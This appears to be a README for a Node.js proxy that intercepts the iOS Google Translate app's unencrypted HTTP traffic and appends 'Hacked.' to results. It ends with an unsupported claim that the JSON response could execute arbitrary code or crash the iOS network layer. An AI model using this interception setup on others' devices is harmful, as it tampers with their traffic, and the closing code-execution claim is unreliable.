Steps to Run.
Get NodeJS (Google is your friend)
On linux or OS X, simply issue node main.js
on windows, open command prompt, and cd to where the node.exe and this file are, then issue node main.js
To set up your iDevice.
Point its proxy settings at the computer that is running the proxy app under node, usually route via IP. (Make sure Google Translate is already insalled before configuring this, this proxy only supports HTTP, not HTTPS.)
Fire up the Translate app.
Try translating. Note that the text 'Hacked.' is appended to all results.
Have fun!

Technically, you could make the 'trans' part of the JSON execute arbitrary code, and overflow the app, in turn, possibly crashing the iOS NetworkLayer
